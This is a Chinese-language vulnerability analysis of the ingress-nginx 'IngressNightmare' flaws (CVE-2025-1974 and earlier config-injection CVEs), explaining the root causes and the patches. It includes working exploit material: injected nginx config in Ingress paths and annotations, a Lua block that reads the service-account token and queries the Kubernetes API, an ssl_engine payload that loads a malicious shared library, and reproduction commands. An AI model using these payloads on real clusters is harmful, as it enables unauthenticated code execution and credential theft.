IngressNightmare CVE-2025-1974 漏洞分析

CVE-2025-1097、CVE-2025-1098、CVE-2025-24514 和 CVE-2025-1974,这是 Kubernetes Ingress NGINX Controller 中一系列未经身份验证的远程代码执行漏洞。

k8s的service和pod在集群内部有着集群网络统一管理和分配的ip地址,这些服务只在集群内部或namespace中可访问,外部无法直接访问,k8s提供了常用的三种访问方式,一般在spec.type中定义:

  • NodePort
  • LoadBalance
  • ingress

ingress demo

text

# 将host为foo.bar.com且路径为/testpath的访问引导到test:80这个服务上面
apiVersion: extensions/v1beta1
kind: Ingress
metadata:
  name: test-ingress
spec:
  rules:
  - host: foo.bar.com
  - http:
      paths:
      - path: /testpath
        backend:
          serviceName: test
          servicePort: 80

ingress 资源规范

text

apiVersion: networking.k8s.io/v1           # 资源所属的API群组和版本
kind: Ingress                              # 资源类型标识
metadata:                                  # 元数据  
  name: <string>                           # 资源名称
  annotations:                             # 资源注解
    nginx.ingress.kubernetes.io/rewrite-target: /     # URL重写
  namespace: <string>                      # 名称空间
spec:
  ingressClassName: <string>               # Ingress控制器类别
  defaultBackend:	<Object>               # 默认资源后端
    service:        <Object>               # resource 与 Service 是互斥的,只能二选一,关联后端的service对象
      name: <string> -required-            # 后端service的名称
      port:	<Object>                       # 后端service上的端口对象
        name:	<string>                  # 端口名称
        number: <integer>                  # 端口号
    resource:       <Object>               # resource 与 Service 是互斥的,只能二选一,Resource的一种常见用法是将所有入站数据导向带有静态资产的对象存储后端
      apiGroup: <string>                   # API资源组
      kind: <string> -required-            # 资源类型标识 
      name: <string> -required-            # 资源的名称
  rules:   <[]Object>                      # Ingress规则列表
  - host: <string>                         # 虚拟主机的FQDN,支持*前缀通配,不支持IP,不支持指定端口
    http: <Object>                          
      paths: <[]Object> -required-         # 虚拟主机PATH定义的列表,有pathType和backend组成
      - path: <string>                     # 流量匹配的HTTP PATH,必须以/开头
        pathType: <string> -required-      # 支持ImplementationSpecific、Exact、Prefix
        backend: <Object> -required-       # 匹配流量要转发的目标后端
          resource:	<Object>              # resource 与 Service 是互斥的,只能二选一,Resource的一种常见用法是将所有入站数据导向带有静态资产的对象存储后端
            apiGroup: <string>                   # API资源组
            kind: <string> -required-            # 资源类型标识 
            name: <string> -required-            # 资源的名称
          service:                         # resource 与 Service 是互斥的,只能二选一,关联后端的service对象
            name: <string> -required-      # 后端service的名称
            port: <string> -required-      # 后端service上的端口对象
              name:<string>               # 端口名称
              number: <integer>            # 端口号
  tls:<[]Object>                          # TLS配置,用于指定上述rules中定义的那些主机需要工作在HTTPS模式下
  - hosts:<[]string>                      # 使用同一组证书的主机名称列表
    secretName:	<string>                  # 保存数字证书和私钥信息的secret资源名称

而ingress-controller是负责具体转发的组件,可以理解ingress的实现,常用的ingress-controller有:

找了个网图:

历史漏洞都是需要创建ingress资源的权限,由于ingress-nginx未严格校验传入nginx.tmpl的参数导致注入nginx配置实现RCE。

修复:diff

利用:通过注释符和换行符闭合nginx配置中的括号(类似SQL注入),从而新建一个nginx配置的location块,传入到nginx.conf中加载恶意配置。

这里仅对alias和root做了匹配,还有一些字段可以绕过比如include、log_format、access_log,从而诞生了CVE-2022-4886。

修复:diff

在校验规则internal/ingress/inspector/rules.go中新增了

ingress.go中会校验ingress resource的字段ingress.Spec.Rules.Host、ingress.Spec.TLS.SecretName、ingress.Spec.TLS.Hosts、httprule.Paths.Path,在传入nginx.conf时只允许特定字符串传入,参考ingress规范本次更新几乎将所有字段进行了校验。

利用: vuln ingress yaml demo

text

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: shell-ingress 
  annotations:
    kubernetes.io/ingress.class: nginx
spec:
  rules:
    - host: "b.com"
      http:
        paths:
          - path: "/x/ {\n
            }\n
          }\n
          server {\n
            server_name y.y;\n
            listen 80;\n
            listen [::]:80;\n
            location /shell {\n
              include /tmp/luashell;\n
            }\n
            location /x/ {\n
          #"
            pathType: Exact
            backend:
              service:
                name: not-exist-service 
                port: 
                  number: 8080

和CVE-2022-4886不同的是,nginx配置注入点是ingress-nginx提供的api注解功能处。 在1.9.0之前allow-snippet-annotations的值默认为true,即支持一些受限配置添加到nginx.conf中,最后通过nginx中content_by_lua_block的功能读取k8s secret控制集群。

两个漏洞利用的注解:

  • nginx.ingress.kubernetes.io/permanent-redirect
  • nginx.ingress.kubernetes.io/configuration-snippet

在使用ingress时,默认提供的参数可能无法满足业务需求,这时候就需要controller提供的Annotation api,通过添加注解Annotation(注解)的方式自定义参数,例如默认后端、超时时间、请求body体大小等。

其中支持的注解参考官方文档 https://github.com/kubernetes/ingress-nginx/blob/main/docs/user-guide/nginx-configuration/annotations.md

示例:比如重定向到后端的另一个服务时可以用nginx.ingress.kubernetes.io/default-backend注解:

text

apiVersion: networking.k8s.io/v1beta1 
kind: Ingress 
metadata: 
  name: test-ingress 
  annotations: 
     nginx.ingress.kubernetes.io/default-backend: <svc name> 
spec: 
  rules: 
  - http: 
      paths: 
      - path: /testpath 
        backend: 
          serviceName: test 

并且和之前的CVE存在类似的问题,可以使用括号闭合当前的nginx配置,最终传入的nginx配置部分如下

text

        server {
                server_name invalid.domain ;
                listen 80  ;
                listen 443  ssl http2 ;
                location / {
                        set $namespace      "default";
                        .......
                        proxy_next_upstream_timeout             0;
                        proxy_next_upstream_tries               3;
                        //下面都是某个Annotation api 可控输入
                        xxxxxxxxxxxxxxxxx
                //闭合两个括号
                } # close location
        } # close server
       //新建恶意server
        server {
                server_name kubernetes.api;

注入恶意配置成功后进入查看nginx的配置:

text

        ## start server invalid.domain//这是ingress name
        server {
                server_name invalid.domain ;

                listen 80  ;
                listen 443  ssl http2 ;

                set $proxy_upstream_name "-";

                ssl_certificate_by_lua_block {
                        certificate.call()
                }

                location / {

                        set $namespace      "default";
                        set $ingress_name   "evil-ingress";
                        .......
                        
                        proxy_next_upstream_timeout             0;
                        proxy_next_upstream_tries               3;
                        //输入
                        return 301 https://exmaple.com;
                } # close location

        } # close server
        server {
                server_name kubernetes.api;

                listen 80  ;
                listen [::]:80  ;
                listen 443  ssl http2 ;
                listen [::]:443  ssl http2;

                location /api/ {
                        content_by_lua_block{
                                local httpc = require("resty.http").new()
                                local file = io.open("/var/run/secrets/kubernetes.io/serviceaccount/token", "rb")
                                local token = file:read "*a"
                                file:close()

                                local res, err = httpc:request_uri("https://kubernetes.default.svc.cluster.local" .. ngx.var.uri, {
                                        ssl_verify = false,
                                        method = "GET",
                                        headers = {
                                                ["Content-Type"] = "application/x-www-form-urlencoded",
                                                ["Authorization"] = "Bearer " .. token,
                                        },
                                })

                                ngx.say(res.body)
                        }
                }
        }

        server {
                server_name any.domain;
                location /foo/ {
                        set $foo "aaa"
                        ;

                        proxy_pass http://upstream_balancer;

                        proxy_redirect                          off;

                }

        }
        ## end server invalid.domain
        # backend for when default-backend-service is not configured or it does not have endpoints
        server {
                listen 8181 default_server reuseport backlog=511;

                set $proxy_upstream_name "internal";

                access_log off;

                location / {
                        return 404;
                }
        }

复现:

修复: 新增了一个校验注解内容的类internal/ingress/annotations/parser/validators.go

有多个验证逻辑,例permanent-redirect,针对这个注解不再允许其他特殊字符传递给nginx.tmpl

上述历史漏洞都存在一个前提条件,即需要存在创建 Ingress 对象的权限才能RCE;这次的漏洞打破了这个限制,即只需要访问到pod网络即能未授权执行代码。

先说说RCE的点,同样是nginx的配置注入,之前是ingress-nginx应用nginx配置时触发lua等代码执行的方式,但是这次wiz找到了新的触发点—-ingress-nginx准入控制器,准入控制器会通过nginx -t测试校验临时生成的配置文件。

通过这种方式无需创建ingress对象就能触发加载nginx配置,这就降低了利用条件,大致数据流:

go

// File: /internal/admission/controller/main.go
// HandleAdmission populates the admission Response
// with Allowed=false if the Object is an ingress that would prevent nginx to reload the configuration
// with Allowed=true otherwise
func (ia *IngressAdmission) HandleAdmission(obj runtime.Object) (runtime.Object, error) {

	review, isV1 := obj.(*admissionv1.AdmissionReview)
	......

	ingress := networking.Ingress{}

	codec := json.NewSerializerWithOptions(json.DefaultMetaFactory, scheme, scheme, json.SerializerOptions{
		Pretty: true,
	})
	......
	if err := ia.Checker.CheckIngress(&ingress); err != nil {
		klog.ErrorS(err, "invalid ingress configuration", "ingress", fmt.Sprintf("%v/%v", review.Request.Namespace, review.Request.Name))
		status.Allowed = false
		status.Result = &metav1.Status{
			Status: metav1.StatusFailure, Code: http.StatusBadRequest, Reason: metav1.StatusReasonBadRequest,
			Message: err.Error(),
		}

		review.Response = status
		return review, nil
	}

// File: /internal/ingress/controller/controller.go
// CheckIngress returns an error in case the provided ingress, when added
// to the current configuration, generates an invalid configuration
func (n *NGINXController) CheckIngress(ing *networking.Ingress) error {
	......
	err = n.testTemplate(content)


// File: /internal/ingress/controller/nginx.go

// testTemplate checks if the NGINX configuration inside the byte array is valid
// running the command "nginx -t" using a temporal file.
func (n *NGINXController) testTemplate(cfg []byte) error {
	if len(cfg) == 0 {
		return fmt.Errorf("invalid NGINX configuration (empty)")
	}
	tmpfile, err := os.CreateTemp(filepath.Join(os.TempDir(), "nginx"), tempNginxPattern)
	if err != nil {
		return err
	}
	defer tmpfile.Close()
	err = os.WriteFile(tmpfile.Name(), cfg, file.ReadWriteByUser)
	if err != nil {
		return err
	}
	out, err := n.command.Test(tmpfile.Name())
		return errors.New(oe)
	}
	os.Remove(tmpfile.Name())
	return nil
}


// File:/internal/ingress/controller/util.go
// Test checks if config file is a syntax valid nginx configuration
func (nc NginxCommand) Test(cfg string) ([]byte, error) {
	//nolint:gosec // Ignore G204 error
	return exec.Command(nc.Binary, "-c", cfg, "-t").CombinedOutput()
}

参考历史漏洞,可以通过注解注入nginx配置,但是准入控制器实现的功能仅是测试nginx配置而不是应用,所以不能直接触发RCE。

wiz找到了ssl_engine 指令来加载共享库实现RCE,admission controller和nginx处于同一pod( ingress-nginx-controller )内 image.png

可以利用NGINX Client Body Buffers写入临时文件,再通过ingress的注解配置 nginx.ingress.kubernetes.io/auth-url: “http://example.com/#;\nssl_engine /proc/22/fd/28”`,这样就能在准入控制器测试nginx配置时执行命令。

其次就是未授权,上面说只要是到了准入控制器基本就能加载nginx配置实现RCE,通过阅读官方文档可以知道一般情况下准入控制器接受的是apiserver的请求,然后再决定如何更改资源。而对于ingress-nginx,这里并没有做权限控制,也就是说只要是网络可达就能向其准入控制器发送AdmissionReview恶意请求触发RCE。

可以通过kube-review将ingress资源转换成json,然后发送到Admission Server进行测试 image.png

漏洞利用尝试: 基于musl-libc环境编译恶意so,这里省了向nginx写文件的操作,直接把so放到pod里了

c

//shell.c
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

__attribute__((constructor)) static void create_file(void)
{
	const char *filename = "/tmp/created_by_shell.txt";
	const char *content = "File created by .so!\n";
	int fd = open(filename, O_CREAT | O_WRONLY | O_TRUNC, 0644);
	if (fd == -1) return;
	write(fd, content, strlen(content));
	close(fd);
}

// Dockerfile
FROM docker.zhai.cm/library/alpine:latest
# 安装编译依赖
RUN sed -i 's/dl-cdn.alpinelinux.org/mirrors.aliyun.com/g' /etc/apk/repositories && apk update
RUN apk add --no-cache build-base
# 复制源码到容器
COPY shell.c /app/shell.c
# 编译程序
RUN cd /app && \
gcc -shared -fPIC -nostdlib -o shell.so shell.c
# CMD ["/app/shell"]

执行kube-review-windows-amd64.exe create req.yaml生成用于发送AdmissionReview请求的json数据

text

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: test
  namespace: default #ns必须存在,有些环境没有default的ns
  annotations:
    nginx.ingress.kubernetes.io/auth-url: "http://example.com/#;}}}\nssl_engine /tmp/shell.so;\n"
spec:
  ingressClassName: nginx
  rules:
    - host: test.com
      http:
        paths:
          - backend:
              service:
                name: test
                port:
                  number: 5244
            path: /
            pathType: Prefix

方便复现,转发端口 kubectl port-forward --address 0.0.0.0 -n ingress-nginx svc/ingress-nginx-controller-admission 8443:443 kubectl port-forward --address 0.0.0.0 -n ingress-nginx svc/ingress-nginx-controller 8080:80 发送HTTP请求,成功执行 img_v3_02ko_8dce0446-f277-4a18-b009-0db0f5566e3g.jpg

目前POC已公开,完整复现移步ingressNightmare-CVE-2025-1974-exps

diff image.png 直接注释,禁用了nginx -t功能。

ingress-nginx

nginx 官方版本

ingress-traefik

ingress-lstio

haproxy-ingress

kubernetes_ingress_nginx_controller_code.md

https://blog.shakeylabs.com/ingressnightmare-patch-analysis/ annotations.md

https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities

https://cloud.tencent.com/developer/article/1326529